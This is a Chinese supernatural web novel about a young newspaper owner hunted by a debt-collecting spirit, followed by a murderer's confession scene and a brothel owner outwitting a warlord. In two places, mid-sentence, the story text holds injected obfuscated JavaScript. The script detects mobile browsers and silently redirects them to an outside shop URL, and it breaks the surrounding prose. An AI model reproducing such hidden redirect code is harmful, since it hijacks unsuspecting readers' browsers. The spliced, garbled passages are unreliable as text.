《头七怪谈|尽性知命》 1. 金石 为什么会变成这样? 纪闻幸死死捂住受伤的腹部,强撑着向报社走去。 血液仍在不断地流下来,落在地上,湿答答汇成一条红线。 夜已经深了。巷子里没有人,只有他的脚步声和血滴落的声音。他走得很慢,每一步都像在用命做交换。腹部的伤口很深,他知道自己撑不了多久。 但他必须回到报社。 那是伏鸿留给他的地方。 伏鸿。 他想起伏鸿死前的脸。那张曾经让全城人夸赞的脸,最后瘦成了一把骨头,颧骨像刀片一样硌出来。他攥着自己的手腕,手心全是冷汗,说:“报社留给你。别查我的事。” 那是四年前的事了。 纪闻幸二十四岁接手报社,今年二十八。伏鸿比他大十二岁,死的时候也不过三十六。他们相识十五年——从纪闻幸九岁被抄家、送到报社那天起,伏鸿就在他身边。 二十一岁的伏鸿站在报社后院的槐树下,好看得像画里走出来的人。他端着一碗热粥,对九岁的纪闻幸说:“以后这儿就是你家。” 那是十九年前。 现在纪闻幸二十八岁,捂着流血的伤口,在深夜的巷子里一步一步往报社挪。 血还在流。 他想起两年前的今天。 ——他去找詹司印了。 詹司印,三十七岁,前镖师,现居城南,金石大家。十九年前救过他的命—— 就像那在一朝之间建立王朝的历史一样,一夕之间,偌大的隆朝就垮了下去。纪家作为旧皇的心腹、盘剥百姓的世家,首当其冲被抄了家、灭了门。 那些平日里被压榨惯了的人们一杀起来就红了眼,没了管,凡是能入目的东西都要砍上一刀,末了瞧不见活人了,方勾肩搭背的走远了。 纪闻幸就躲在由父母和长辈们的尸体围成的尸山里,他们为了保护他,拼了命的往一块靠,血水几乎将他浸透了,于是没有人注意到这里还有一个活人。 纪闻幸死死捂着嘴,生怕发出一点声音。直到外面静谧得如同一片死地——某种程度上来说确实是——他才卯足了劲推开环住他的母亲的尸体,探出了头。 好红。 族人们流出的血几乎要在纪府汇成一泓湖。 他出神的看了好久,突然捂住肚子。 好饿。 他已经一天没吃饭了,——或许更久。 于是他没有任何一刻像现在这样清晰的认识到,没了家族的庇佑,他连饭都没得吃。 明明一天前他还在嫌弃燕窝粥不好吃。 詹司印就是在那时候找到的他。 十七八岁的年轻镖师在把他从尸体堆里拎起来,无视他的颤抖把他扔进马车,又送到报社,全程没说一句话。 那是他们之间唯一的交集。 直到两年前。 纪闻幸是去问伏鸿的事的。伏鸿死前留下一本笔记,最后一页画了一枚印谱,印文是两个字的小篆。他查了两年,终于查到那印是詹司印刻的。 他想知道伏鸿为什么刻那方印。想知道伏鸿死前到底发生了什么。想知道“心官”是什么。 詹司印住在城南一条窄巷里,门口没挂牌子。纪闻幸敲了半个时辰的门,里头才有人应声。门开了一条缝,詹司印的脸出现在门后——不年长也不年轻,脸上有几道疤痕,最长的甚至横亘了大半张脸,眼睛却极亮。他看了纪闻幸一眼,没说话,又把门关上了。 纪闻幸站在门外,隔着门缝说:“我见过你。十九年前,你救过我。” 门又开了。 詹司印站在门里,盯着他看了很久,可能是在记忆里找他。那目光像两把刻刀,在纪闻幸脸上来回剐。然后他侧开身子,让出一条路。 “进来。” 詹司印的屋里到处都是石头和玉石。和田,独山,绿松,堆在案头,码在墙角,连床底下都塞着几箱。纪闻幸踩着一地的石屑往里走,看见窗前的条案上摆着一方刻了一半的印。 詹司印坐回案前,拿起刻刀,继续刻那方印。刀尖扎进石头的响声细碎而尖锐,像夏天的虫鸣。 “找我什么事?” 纪闻幸把那枚印谱拿出来,放在案上。 詹司印看了一眼,刻刀停住了。 “这印你刻的。”纪闻幸说,“我问过了,这刀法全北京城就你一家。” 詹司印没说话。他盯着那印谱,盯了很久。然后他把刻刀放下,站起来,走到窗前。 “这印是我刻的。”他说,“十六年前,一个叫伏鸿的人来找我,让我刻的。” 纪闻幸的心跳加快了。 “他刻这印做什么?” “不知道。”詹司印背对着他,声音闷闷的,“他只是拿着一个拓片来,说照着刻。拓片上的印文,他也不知道是谁的。” 纪闻幸愣住了。 “那你——” “他也问过我,我说的是不知道。”詹司印转过身,看着他,“刻完给他,他就走了。但我其实是知道的,那印文是一千年前的东西。是一个人的表字。” “谁的?” 詹司印看着他,目光里有一种很复杂的东西。 “我的。”他说,“上辈子的字。” 纪闻幸拿不准他的意思,只能继续沉默。 他又拿出另一张纸,拓着另一方印:知稳。 “这是我爹妈给我起的第一个字,后来我自己改了。知文,之文,越改笔画越少。”他顿了顿,“你想问我怎么知道的。我不知道,只是当年,还在走镖的时候,我收到一个包裹,里面有一方印和一张纸。” 他抬起头,看着纪闻幸,继续说。 “那方印上刻着‘我’的字,那张纸写着‘我’的名字和生辰八字,画着红色的阵。我把印放上去,我就知道了。” “但我不知道伏鸿是怎么知道的,也或许他也不清楚,只是觉得跟你有关罢了。” “于是我动身去了一个地方。”詹司印递给他一张照片,“你上辈子的老家——回来后,我就不当镖师了。” 纪闻幸接过照片,喉咙发紧。 “你上辈子叫都慈,字心石。知府家的少爷,后来家破人亡,当了大夫。咱俩……认识。”詹司印说,“你医术不差,心却是黑的。尤其那些富贵人家,能针灸的吃药,能吃药的耗着,就为了多赚点钱——那句话怎么说?‘穷人来了一巴掌,不穷不富的人两巴掌,富人更是降龙十八掌’。你说,你爹妈给你取字叫心石,是怕你心软遭欺负。结果你心一点都不软,你他妈心是铁打的,你该叫心铁。” 纪闻幸忽然想笑。但他没笑出来。 有时候命运是相通的。 但他后来不想做医生了。 于是他听詹司印继续说。 “你来找我,是为伏鸿的事。”詹司印的语气沉下来,“他死了,怎么死的?” “心官。”纪闻幸说,“他的笔记里写的。心官索命,避无可避。” 詹司印沉默了很久。 “心官是来收债的。”他终于开口,“上辈子的债你躲过去了,就要这辈子还。那个‘都慈’,虽说是个医生,但也不是什么干净人。他救过的害过的那些人,善的恶的,好的赖的,都记在他头上。我不知道你上辈子干了什么,你——我是说,上辈子的你,没跟我说过,至少在那段记忆里没有。总之,祂盯上你了。你九岁那年的事,是祂做的推手。我救了你,那是我上辈子欠你的,这辈子顺手还了。” 他看着纪闻幸。 “但心官还会来,你的债没还完。” 纪闻幸的指甲掐进掌心。 “伏鸿知道这件事?” “他应该不知道。”詹司印说,“他要是知道,就不会来找我。我和那家伙可没关系。” 可你救了我,怎么没关系呢?纪闻幸想,没说。 詹司印看着他,走回案前,坐下。 “但他可能感觉到了什么。”他说,“他来找我的时候,还问我认不认识一个叫都慈的人。我说不认识。他就走了。” 纪闻幸想起伏鸿死前说的话。“有些债不能还,只能躲。” 他忽然明白了。 伏鸿不知道心官要的是谁。但他察觉到了纪闻幸身上有什么不对劲的东西。他想帮纪闻幸躲开,却不知道该怎么帮。所以他去找了詹司印,想从詹司印那里知道些什么。 但他什么都没问出来。 “我很抱歉。”詹司印说。 “后来呢?”纪闻幸没接茬,而是继续问,“你什么时候知道伏鸿要出事?” 詹司印沉默了一会儿。 “他死之前一个月,来找过我一次。”他说,“那次他什么都没问。只是坐在这儿,看我刻了一下午的印。临走的时候,他说了一句话。” “什么话?” “他说:‘如果我死了,有一个叫纪闻幸的年轻人来找你,你帮帮他。’” 纪闻幸的心猛地一缩。 詹司印看着他。 “我当时不知道他说的年轻人是你。后来他死了,我去坟前看过他。再后来你来了,我才知道是他说的那个人。” 他站起来,走到窗前。暮色正浓,把他的侧影染成一片模糊的黑。 “伏鸿替你挡了。”他说,“我不知道他怎么挡的。但他确实替你挡了。” 纪闻幸站着没动。 他又在想伏鸿。 想起他温和地抚摸他的头时通过手掌传递来的温热,想起他支着下巴看他翻书,想起他从树上掐下一支蓝桉花,笑着别进小姑娘耳边,惹得人脸蛋羞红的画面。 ……想起那张曾经让全城人夸赞的脸,最后瘦成了一把骨头。想起他攥着自己手腕时,手心里全是冷汗。 想起他说的那句“我没看好你”。 想起九岁那年,刚到报社的第一个晚上,伏鸿站在灯下,光把他照的好柔和,他对他说“以后这儿就是你家”。 他照顾了他十五年。 最后替他死了。 他图什么? “你知道么?”纪闻幸开口,声音发涩,“我为什么叫‘纪闻幸’?” 詹司印侧头看他,示意他继续。 “我原本不叫这个名字,就像上辈子的你的字一样,是我自己改的。我是纪家的长孙,家族的骄傲——我叫‘文星’,文曲星的文星。” “但文章学的好有什么用?满分的课业难道能救下我阿爹阿娘吗?那些人、那些军官,谁看这个呢?” “所以我改了。闻幸,闻幸,我在一众尸山血海中爬出来,能幸运的活下去,以后也会像这样幸运。这就是原因。” “可我没想到,这所谓的幸运,竟然就是让我在每次的死期,都有人站出来当我的替死鬼。” “我的阿姊是,我的族人是,我的养父……也是。——在我六岁那年,我的阿姊,为了救下落水的我惹了风寒,死了。” “你说,这是幸运吗?” 詹司印眉头皱了起来,似乎想说些什么。 “我想知道。”但纪闻幸没给他留话口,而是接着之前问到“我想知道心官是什么,怎么找到它,怎么——” “没法儿。”詹司印打断他。 纪闻幸看着他。 詹司印站在窗前,背着光,看不清表情。 “我找过。”他说,“伏鸿死后,我一直在找。我说不上心官是什么,我只知道祂肯定不是人,和神很相近,但我不想承认——哪有神这么小心眼?欠下一点东西就要追人一辈子,甚至人死了都不放过?” 他转过身,看着纪闻幸。 “知道我为什么不做镖师吗?” “我刚想起来那段时间,每天都要做梦,噩梦。我梦见我去了阴曹地府,我在下面见到那些被我杀的人。他们排着队,等着来找我报仇。我这辈子走镖的时候挨过十七刀,次次都差点死。当时我就知道了,他们跟心官联手了,他们去当了心官的走狗,就为了把我困在地狱十八层。” “我偏不要遂他们的愿。” 纪闻幸攥紧了拳头。 “伏鸿替我还了债,那心官还会不会——” “不会。”詹司印说,“心官收的是你的债,不是他的。伏鸿替你挡了,心官就先去找他。现在他死了,你的债暂时没人收。但只是暂时。” 他走到案前,拿起那方刻了一半的印。 “就像借贷一样,你的命是本金,他们是利息。还债当然可以先还利息,但本金不还,债就永远在,只是时间问题。” 他抬起头,看着纪闻幸。 “你想等吗?” 纪闻幸没说话。 詹司印把刻刀放下。他从案上拿起另一块石头,已经刻好了的,递给纪闻幸。 “给你的。” 纪闻幸接过印,借着最后一点天光看。印文是两个小篆:心石。 “你上辈子那破字。”詹司印说。 纪闻幸攥着那方印,玉石的凉意从掌心渗进骨头里。 “你等到了怎么办?”他问。 詹司印没回答。他只是站在窗前,看着窗外越来越浓的夜色。 “不知道。”他说,“但总要等。” 纪闻幸把那方印收进口袋,转身往外走。 走到门口,他停了一下。 “伏鸿葬在南郊。”他说,“你有空可以去看看他。” 詹司印没应声。 纪闻幸推开门,走进夜色里。 这事已经过去好久了。 现在他走在深夜的巷子里,捂着流血的伤口,一步一步往报社挪。 为什么会变成这样? 今天他又来找詹司印了。 自从那天过后,他们就经常来往,詹司印把那块刻了“心石”的石头穿了眼,系了绳,他就一直戴着,从不离身。 他们几乎天天都要见面,有时是纪闻幸来窄巷找詹司印,有时是詹司印去报社找他,两家离得不远,所以没差。他们有时要就心官的话题讨论一天,废寝忘食,有时却什么都不干,坐在茶楼里品一下午的茶。 这次是他去找的詹司印,就在门内的院子里,和堆砌的玉石做伴,从日出坐到日落。 甫一走出詹司印的门,就看见了祂。 心官。 没人跟他介绍祂,但他偏偏就知道是祂。 纪闻幸没法形容祂是个什么东西。一个足有三米高的人形,身上刺出无数长短不一、粗细不均的枝干。黑色的雾气笼罩了祂全身,遮盖了祂的身形,却遮不住枝干上被挂起来的、数不清的不规则形体。 那是心脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420253|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。心里有一个声音这么说。 大的、小的、鲜红的、干枯的……全部混杂在一起,分不清谁是谁的。 但纪闻幸就是知道,这里有一个曾经属于伏鸿——或许还有他和詹司印的前世。 这就是心官。 它等了两年,终于来了。 要把他们一网打尽吗? 詹司印冲出来的时候,它已经动了。纪闻幸不知道自己怎么跑掉的,他只记得詹司印挡在他前面,记得有东西刺进他的腹部,记得詹司印喊了一句什么,他没听清。 然后他就在跑了。 一直跑,一直跑,哪有路往哪走。 他不知道詹司印怎么样了。 他只知道自己在流血,很多血,多得走几步就要栽倒。但他不能倒。 他的族人拼了命的护下他不是要他死的。 他的养父拼了命的护下他不是要他死的。 他上辈子的挚友也不想他死,也要拼死了的护着他。 纪闻幸捂着肚子,一时不知道该去哪。 一声突兀的尖叫响起,吓跑了黑色的野猫和夜行的人,却留给纪闻幸的脑海一丝清明。 他要回到报社。那是伏鸿留给他的地方。 巷子越来越窄,越来越暗。他的视线开始模糊,腿像灌了铅。血还在流,那条红线在他身后蜿蜒,像一根绳子牵着他往回走。 他把脖子上挂着的方印扯下来,死死攥住,冷意驱散了些许混沌,磨圆了的角和手心的皮肉紧紧相贴,唤回了一丝理智。 或许血流的太多了吧。 他又不合时宜地想起伏鸿挂灯那天。 那是个秋天的傍晚,伏鸿踩着梯子,他在下面扶着。伏鸿低头看他,笑着说:“君年,你看这灯亮不亮?” ——君年,是他父母给他取的小名,伏鸿死后,已经没人知道了。 他抬起头,没看到灯,伏鸿将灯挡住了,以他的角度只能看见几抹光亮,不明显。他其实不太理解为什么要在报社门口挂灯,没有人会在夜半三更之际扣响报社的门,除非遇到了难以解决的急事,但没灯也不影响他们敲门。 但伏鸿要挂,他是老板,听他的。 “亮。”于是他说。 伏鸿就笑了,伸手在他脑袋上揉了一把。 今天他回忆过去的次数也太多了。 就当它是回马灯吧。 纪闻幸跌跌撞撞地转过最后一个弯。 他到底撑到了报社。 门口的灯还亮着。灯罩上落了一层灰,光透出来昏黄昏黄的,照着门槛前的一小块地。 门楣上挂着镀金的牌匾,已经有些掉色了。上面龙飞凤舞的写着“卓生”二字——据说是他父亲当年为了庆祝报社开张送来的。 ——他们俩家近百年的交情了。 结果到最后哪怕加一块也没剩下一个人。 他踉跄着走过去,手扶上门框。 血滴在门槛上。 他推开门的瞬间,手心传来一阵剧痛——那枚方印,不知道什么时候被他攥碎了,刻着“心石”的一半不见了踪迹,剩下的一半坠着红线,碎石的棱角嵌进肉里,和血黏在一起。 他把门推开。 后院的槐树还在。伏鸿常坐的那把藤椅还在。 他走过去。 一步一步。 血滴了一路。 他终于在藤椅上坐下来。 夜风吹过槐树的叶子,发出沙沙的响声。他靠在藤椅里,仰头看着那盏灯。 灯还亮着。 伏鸿已经不在了。 詹司印还活着吗? 他还攥着那半截方印,石头的凉意已经被血捂温。 他想起伏鸿活着的时候,总爱在这把藤椅上坐着,看见他来就招手:“君年,过来坐啊。” 他那时候忙着读寻来的医书,总是摆摆手就走过去。 他从来没坐过。 现在他坐下了。 坐了很久。 他的耳边突然响起了之前詹司印说的话:“我一直在等。” 他也等了。等了四年。 现在它来了。 他不知道詹司印怎么样了。不知道自己还能活多久。不知道那笔债,这次能不能还清。 他只知道他回到了这里。 回到了他人生的中转点。 风吹过来,灯影晃动。 纪闻幸靠在藤椅里,慢慢闭上眼睛。 那半截玉石终于从他手中露出头来,有血迹顺着断面渗进玉里。 风还在吹。 他的债还清了吗? 风帮他问着。 ———————————————————— 他闭上眼睛的那一刻,听见了脚步声。 很轻,很稳,踩在巷子的青石板上,不紧不慢。 他在脚步声停在他面前时失去了意识。 再醒来的时候,天已经亮了。 伤口被包扎过,床边有碗药。救他的人不在。 纪闻幸后来才知道那人叫边向云,南城的巡警。 他打听过,有人说他来路不明,有人说他死而复生,说什么的都有,但没人敢当他面说。 也听说他身上有某种不对的东西——有时会对着一堵墙点头,有时会对着空无一人的地方说话,像是在听什么人吩咐。 纪闻幸去找过他一次,想道谢。边向云开门看见他,没让他开口,便面无表情地说了一句“不用”。 然后就把他关在门外了。 纪闻幸在门外站了很久,或许在等他回心转意,又或许只是在发呆。但边向云始终没再开门。 巷子里有人经过,多看了他两眼。他没理会,转身走了。 后来他再没去找过边向云。 有些债没法还,记着就行。 纪闻幸在报社养了三个月的伤。天气从深秋变成冬天,又从冬天变成初春。槐树发了新芽,绿茸茸的,在风里轻轻晃。 他每天坐在伏鸿那把藤椅上,看着那扇门。 詹司印没有再来过。 他去城南那条窄巷找过。门没锁,院子里积了很厚的灰,但没有血。邻居说,那天夜里听见动静,出来看的时候门就开着,人不见了。后来再也没回来过。 纪闻幸站在那扇门前,站了很久。 他脖子上空了。那方印不知道丢在哪里,也许被踩进了报社后院的泥地里,也许被什么人捡走了,总之不见了踪迹。 他没去找。 有些东西丢了就是丢了。 春天快过去的时候,报社接了一单生意。印一份新式学堂的教材,三千册,半个月交活。具体的,要他去面谈。 纪闻幸问,为什么不去直接找印刷厂?他没有印刷许可。 传信的人眨眨眼,说有人安排,您去看了就知道了。 傍晚,他把那盏灯重新挂起来。灯罩换了新的,光透出来清清朗朗,照着门槛前的一小块地。 槐树的影子落在地上,藤椅还在老地方。 他走过去,坐下来。 风从槐树叶子中间穿过来,凉凉的,带着一点槐花的香气。他靠在藤椅里,闭上眼睛。 詹司印没找到。那半截玉石也没找到。 但那盏灯还亮着。 2. 面具 壹隋良安 隋良安第一次见到边向云,是在街角的茶摊。 那天下着小雨,隋良安刚从商号出来,心情烦躁,想找个地方坐一坐。茶摊的棚子底下只有一个人,穿着巡警的制服,低头喝茶,谁也不看。 隋良安在他对面坐下来。 那个人抬起头,看了他一眼。 就那一眼,隋良安的手抖了一下。那个眼神——不是看人的眼神,没有任何感情——甚至不像个人类。他见过一次,十五年前,在他家的地窖里,那个被他拷问的佚名族临死之前,就是用这种眼神看着他。 他低下头,没说话。 那个人也没说话。喝完茶,放下钱,站起来走了。 后来隋良安打听过,那个人叫边向云,是新来的巡警,接替死在城外的那个。没什么特别的,就是话少,见谁都淡淡的。 隋良安开始去找他。 隔三差五,去他休息的地方坐坐,喝茶,说话。说是说话,其实是隋良安说,边向云听。隋良安说生意上的事,说街坊邻居的事,说他小时候的事——说他爹怎么偏心,说他弟弟怎么讨人喜欢,说他怎么把弟弟按在水缸里。 边向云从不问,从不接,只是听。 有时候隋良安说着说着就不说了,低着头,盯着茶杯发呆。边向云也不催,就那么坐着。 他们就这样认识了一年多。 今晚隋良安又来了。 他把风灯放在门槛上,走进屋里,在桌边坐下。桌上有一壶凉茶,他给自己倒了一杯,端起来,没喝,就那么端着。 他的手在抖。 边向云坐在对面,看着他。 “要走?”隋良安问,眼睛看着床尾那收拾整齐的包裹。 边向云没回答。 隋良安点点头,像是早就知道答案。他盯着茶杯里的茶,盯了很久。 “我弟弟死的时候八岁。”他说,“我十三。” 边向云没动。 “他叫隋景宁,我叫隋良安。”隋良安的声音很平,像是在说别人的事,“现在我叫隋景安。我抢他的名字活了十五年——不,不能叫抢,那本来就是我的东西。” 他抬起头,看着边向云,想从那张脸上看出点什么。什么也没有。 隋良安笑了一下。那笑容很短,像是给自己看的。 “你知道我为什么杀他吗?” 边向云没说话。 隋良安低下头,又开始盯着茶杯。 “我爹喜欢他。我娘也喜欢他。家里的下人,铺子里的伙计,谁都喜欢他。他嘴甜,会来事,见人就笑。我呢?我嘴笨,不会说话,站在那儿像个木头。” 他的手攥紧了茶杯。 “那年他八岁,我十三。我爹说要带他去铺子里学做生意,让我留在家里读书。读书有什么用?将来铺子是他的,家产是他的,我什么都不是。” 他抬起头,看着边向云。眼睛里有光,但不是什么好光。 “那天他来找我,让我教他写字。嘁,这么大人了连字都不会写,真是废物。他拿着笔,歪歪扭扭地照着字帖写我的名字,写得像狗爬。他抬头看我,笑着说:‘哥哥,我写得像不像?’” 隋良安顿了顿。 “我就那么看着他。看着他那张笑脸,心里想:凭什么?凭什么你什么都有,我什么都没有?凭什么你什么都不用争,什么都往你手里送?” 他低下头。 “然后我就把他按在水缸里。” 屋里安静极了。 隋良安的声音还在继续,平平的,没有起伏。 “他挣扎了很久。我一直按着,按到他不动了。然后我把他捞出来,放在地上,看着他那张脸。他好惊恐啊,是没料想到吗?料想到他亲爱的、仆人似的哥哥会有胆子对他下手?哈!” 他抬起头。 “我没哭。一滴眼泪都没掉。我把他抱回屋里,放在床上,然后去叫我娘,说弟弟睡着了,叫不醒。” 他直勾勾地看着边向云。 “你知道后来怎么样了吗?” 边向云没说话。 “我娘哭昏过去三次。我爹一夜之间老了十岁。我跟他们说弟弟调皮,掉进河里去了,我好不容易才捞上来。他们信了,他们说景宁命不好。没人怀疑过我。我是他亲哥哥,我才十三岁,谁会怀疑?” 他笑了一下。 “我把他名字里的‘景’字抢来了,我看上这个字好久了。父母还夸我孝顺!——他们以为我是在思念弟弟——笑话!” “你知道吗,”隋良安捂着脸笑了“每年清明,我去给他上坟,站在坟前,心里什么感觉都没有。我杀了人,杀了自己亲弟弟,我却一点都不后悔。有时候我也会想,我可真不是个人啊!” 他看着边向云,眼神里有一种奇怪的东西——像是在等什么,等一句评判,等一个眼神。 边向云什么也没给。 隋良安等了一会儿,又低下头。 屋内陷入沉默。 良久,他站起来,走到窗前。背对着边向云,声音闷闷的。 “我找了你一年多,你知道为什么吗?” 边向云看着他。 隋良安转过身。 “因为你不是人。”他说,“你没有心,没有家人,不会恨也不会爱。你什么都不是。所以我跟你说什么都可以,你听了就像没听,不会拿这个来要挟我,不会去告发我,不会用这个来戳我心窝子。” 他走回桌边,重新坐下。 “我需要一个……什么东西。能听我说话,又不会害我。” 他看着边向云。 “你就是那个东西。” 边向云看着他,表情没有任何变化。 隋良安忽然笑了。这次笑得比刚才久一点,像是松了一口气。 “你不生气?”他问。 边向云开口了。声音很淡,像是从很远的地方飘过来。 “你说了,我不是人,我是佚名。”他说,“这些事,与我无关,我为什么要生气?” 隋良安点点头。 “那就好。”他说,“那就好。” 他站起来,走到门口。 走到门口,他又停下来。 “你走吧。”他说,“天亮之前出城,别回来了。” 他推开门,走进夜色里。 走出几步,他忽然听见身后有声音。 “隋良安。” 他停下来,回过头。 边向云站在门口,月光照在他身上,把他的影子拉得很长。 “你刚才说的那些,”边向云说,“我听进去了。” 隋良安愣了一下。 边向云看着他。 “我不是人,但我会记住。” 他转身走回屋里,把门关上。 隋良安站在巷子里,看着那扇门,站了很久。 然后他笑了一下。 那笑容很短,像是松了一口气,又像是更累了。 他转身走了。 他不知道,回去之后的边向云在书案前沉默良久,直到深夜,方才叹气、合书、休息。 关灯前,他点起一从火,烧掉了写着隋良安名字和八字的纸,以及……一本有着歪歪扭扭字迹的字帖。 暗红色的法阵在火光下一闪而过。 “算了,重新找一个吧。” 黑暗中,响起一声喃喃自语。 “最近真是不太平。” 贰江天阙 时康乐坊的牡丹开了。 那花圃在后院,不大,但养得好。每年这时候,花开得层层叠叠,红的白的粉的,挤挤挨挨,香味浓得化不开。 有客人夸,江天阙就笑着说:“用心养的。” 笑得很温和。 一年半前的那个夜晚,她从山里把那个人拖回来的时候,就知道这是一步险棋。 那人浑身是血,靠在山路边的老槐树底下,眼睛却亮得像狼。她认出了那张脸——奉权中,北边那个杀人如麻的军阀。悬赏令贴得满城都是,赏金够她再开三家乐坊。 但她没动。 她蹲下来,看着那个人。 奉权中也看着她。他伤得很重,动都动不了,但眼睛没瞎。他在等,等她做出选择。 江天阙在心里算了一笔账。 交出去,领赏,乐坊从此不用再看任何人脸色。但奉权中手下有人,一旦走漏风声,她活不过三天。不交,带回去,养着他。一个权势滔天的大军阀欠她一条命,这买卖怎么做都划算。 她伸手,把他扶起来。 “能走吗?” 奉权中盯着她。 “你知道我是谁。” 江天阙看着他,眼底没有一丝动摇。 “你是我弟弟。”她说,“异母的。来投奔我。” 奉权中盯着她看了很久。 然后他笑了。那笑容让江天阙后背发凉。 “好。”他说,“姐姐。” 从那以后,江天柩就站在了她身后半步的地方。 第一个半年,他老老实实养伤。伤好了,也不走,就那么待着。江天阙给他安排了个房间,他就住着。乐坊里的事,他不过问,不插手,只是看。 第二个半年,他开始偶尔开口。说几句闲话,问几个无关紧要的问题。江天阙答了,他点点头,继续看。 第三个半年,他看得更久了。 江天阙知道他在看什么。看她怎么应付客人,怎么处理麻烦,怎么把人命埋在花圃底下,对外还笑着说“用心养的”。他什么都知道,什么都不说,就那么看着。 她也知道他在等什么。 等她露出破绽。等她被人找上门。等她死了,他好脱身。 但她不知道的是,他还在等另一件事。 他等的是北边的消息。 奉权中的部队被打散了,但他的旧部还在。有人逃出来了,藏在附近的山里。他们需要知道他活着,需要知道他在哪儿,需要知道什么时候能把他接回去。 江天柩在看乐坊,也在看乐坊里的人。看谁可以收买,看谁可以利用,看谁能帮他往外递消息。 那个叫小满的姑娘,家里欠了赌债,他借给她银子,不要利息。那个叫阿贵的伙计,想给他妹妹找个好人家,他帮忙牵线搭桥。那个常来听曲的绸缎商,每隔半个月就来一次,他主动上去陪着说话。 他做得很小心,像滴水渗进石头,谁也看不出来。 但江天阙看出来了。 她坐在柜台后面,翻着账本,嘴角弯了一下。 她没拦着。 让他递。让他联络。让他觉得他快成功了。 她等的,就是他把那些人招来的那一天。 叁 边向云? 边向云走出县城的那天夜里,江天阙没有睡。 她站在二楼的窗前,看着那条通往城外的路。 月光很亮,她看见一个人影背着包袱,慢慢走远,最后消失在夜色里。 边向云。巡警。很久之前救过奉权中,当时他叫林煦。他偶尔也会来喝上两盏茶,也会和江天柩说上两句话。 江天阙调查过他,没有任何异常。 这个人的人生很符合世俗意义上对乖小孩的定义。不沾赌毒,不染情色,在做高官的父亲安排下做了巡警,虽然是蒙荫来的,但工作效率高,办事一丝不苟,很受领导喜欢。 这很正常。他身边甚至没几个朋友。 可这就是问题所在。 他是怎么遇上奉权中的?还那么凑巧的救了他? 她一直没搞明白。她对他一无所知。 她不知道他来城里干什么,也不知道他为什么走。她只知道,他走了之后,江天柩会少一个可以说话的人。 少一个,就少一分倚仗。 这就够了。 她关上窗,躺回床上。 第二天一早,她照常下楼,坐在柜台后面翻账。 江天柩从楼上下来,走到她面前。 “姐姐,”他说,“昨晚睡得还好吗?” 江天阙抬起头,笑着点点头。 “还好。你呢?” 江天柩也笑了。 “我也还好。”他说,“做了个梦,梦见以前的事。” 他看着江天阙。 “姐姐,你说人死了之后,会去哪儿?” 江天阙笑了笑。 “不知道。”她说,“没死过。” 江天柩也笑了。 他走到门口,站在那儿看着街上的行人。 江天阙看着他的背影。 她忽然开口。 “天柩。” 江天柩回过头。 “嗯?” “你那个巡警朋友,”江天阙说,“昨晚出城了。” 江天柩看着她,表情没有任何变化。 “阿煦吗?”他说,“那挺好的。” 江天阙点点头。 “是啊。”她说,“走了好。” 他们对视了一眼。 那一眼里,江天柩看懂了。 她知道。她知道他在外面联络人。她什么都没说,就那么看着。 他笑了一下。 “姐姐,”他说,“你什么都知道。” 江天阙也笑了。 “什么都不知道。”她说,“我就是个开乐坊的。” 江天柩点点头。 他转回去,继续看着街上。 阳光照在他身上,把他的影子拉得很长。 肆江天柩 半个月后,有人来了。 是个生面孔,穿粗布衣裳,看着像赶路的客商。他一进门就点了一壶茶,坐在角落里,谁也不看。 江天柩从楼上下来,从他身边走过。 那人抬头看了他一眼。 就一眼。 然后江天柩继续往外走,那人继续喝茶。 江天阙坐在柜台后面,把这看在眼里。 她没动。 又过了几天,又来了一个。 这回是个货郎,挑着担子在门口叫卖。江天柩出去买东西,和他说了几句话。 江天阙还是没动。 她等着。 等到第十天,该来的都来了。 那天夜里,乐坊打烊之后,江天柩没有上楼。他站在后院,对着那几株牡丹,站了很久。 江天阙从后门走出来,站在他身后。 “看什么呢?” 江天柩没有回头。 “姐姐,”他说,“我该走了。” 江天阙没说话。 江天柩转过身,看着她。 “这段日子,谢谢你。” 月光照在他脸上,那表情真诚得很。 江天阙看着他。 “走?”她说,“去哪儿?” 江天柩笑了笑。 “北边。”他说,“有人来接我。” 江天阙点点头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420254|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那挺好。”她说,“什么时候?” “明天夜里。” 江天阙看着他。 “好。”她说,“我就不送了。” 江天柩也看着她。 “姐姐,”他说,“你不留我?” 江天阙笑了。 “留你干什么?”她说,“你又不是我弟弟。” 江天柩愣了一下。 然后他也笑了。 “是啊。”他说,“我不是。” 他们站在月光下,看着对方。 谁也没再说话。 第二天夜里,江天柩收拾好了包袱,从后窗翻出去,落在后院。 月光很亮,花圃里的牡丹开得正好。 他绕过花圃,走到墙边。 墙上有人。 他停下来。 墙边站着十好几个人,穿着官服,手里拿着刀。 江天柩慢慢转过身。 后门口,江天阙站在那里。 她穿着家常的衣裳,头发挽在脑后,脸上带着惯常的温和笑容。 “弟弟,”她说,“这么晚了,去哪儿?” 江天柩看着她。 “姐姐,”他说,“这是干什么?” 江天阙笑了笑。 “不干什么。”她说,“就是想问问你,北边来的那些人,什么时候到?” 江天柩的眼睛眯了起来。 “你知道?” 江天阙点点头。 “知道。”她说,“从第一个人来,我就知道了。” 她往前走了一步。 “你的人藏在山里,一共十七个。领头那个化装成货郎,在你门口叫卖了三天。他们打算今晚接你走,从城西的小路出去,天亮之前过柳河。” 她看着他。 “我说得对不对?” 江天柩盯着她。 “你怎么知道?” 江天阙笑了。 “你在我这儿住了一年多。”她说,“你以为只有你在看?” 她顿了顿。 